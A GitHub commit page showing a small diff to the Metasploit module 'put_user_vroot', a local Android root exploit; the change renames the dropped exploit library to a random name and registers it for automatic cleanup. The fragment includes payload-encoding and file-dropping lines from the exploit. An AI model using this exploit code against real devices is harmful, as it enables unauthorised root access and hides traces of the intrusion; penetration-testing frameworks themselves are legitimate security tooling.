Skip to content

Commit 96b01ef

Browse files
committed
cleanup library after use
1 parent 9ece45a commit 96b01ef

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

modules/exploits/android/local/put_user_vroot.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local
1111

1212
include Msf::Post::File
1313
include Msf::Post::Common
14+
include Msf::Exploit::FileDropper
1415

1516
def initialize(info={})
1617
super( update_info( info, {
@@ -66,7 +67,8 @@ def exploit
6667
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
6768

6869
workingdir = session.fs.dir.getwd
69-
remote_file = "#{workingdir}/lib#{Rex::Text::rand_text_alpha_lower(5)}.so"
70+
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
71+
register_file_for_cleanup(remote_file)
7072
write_file(remote_file, exploit_data)
7173

7274
print_status("Loading exploit library #{remote_file}")

0 commit comments

Comments
 (0)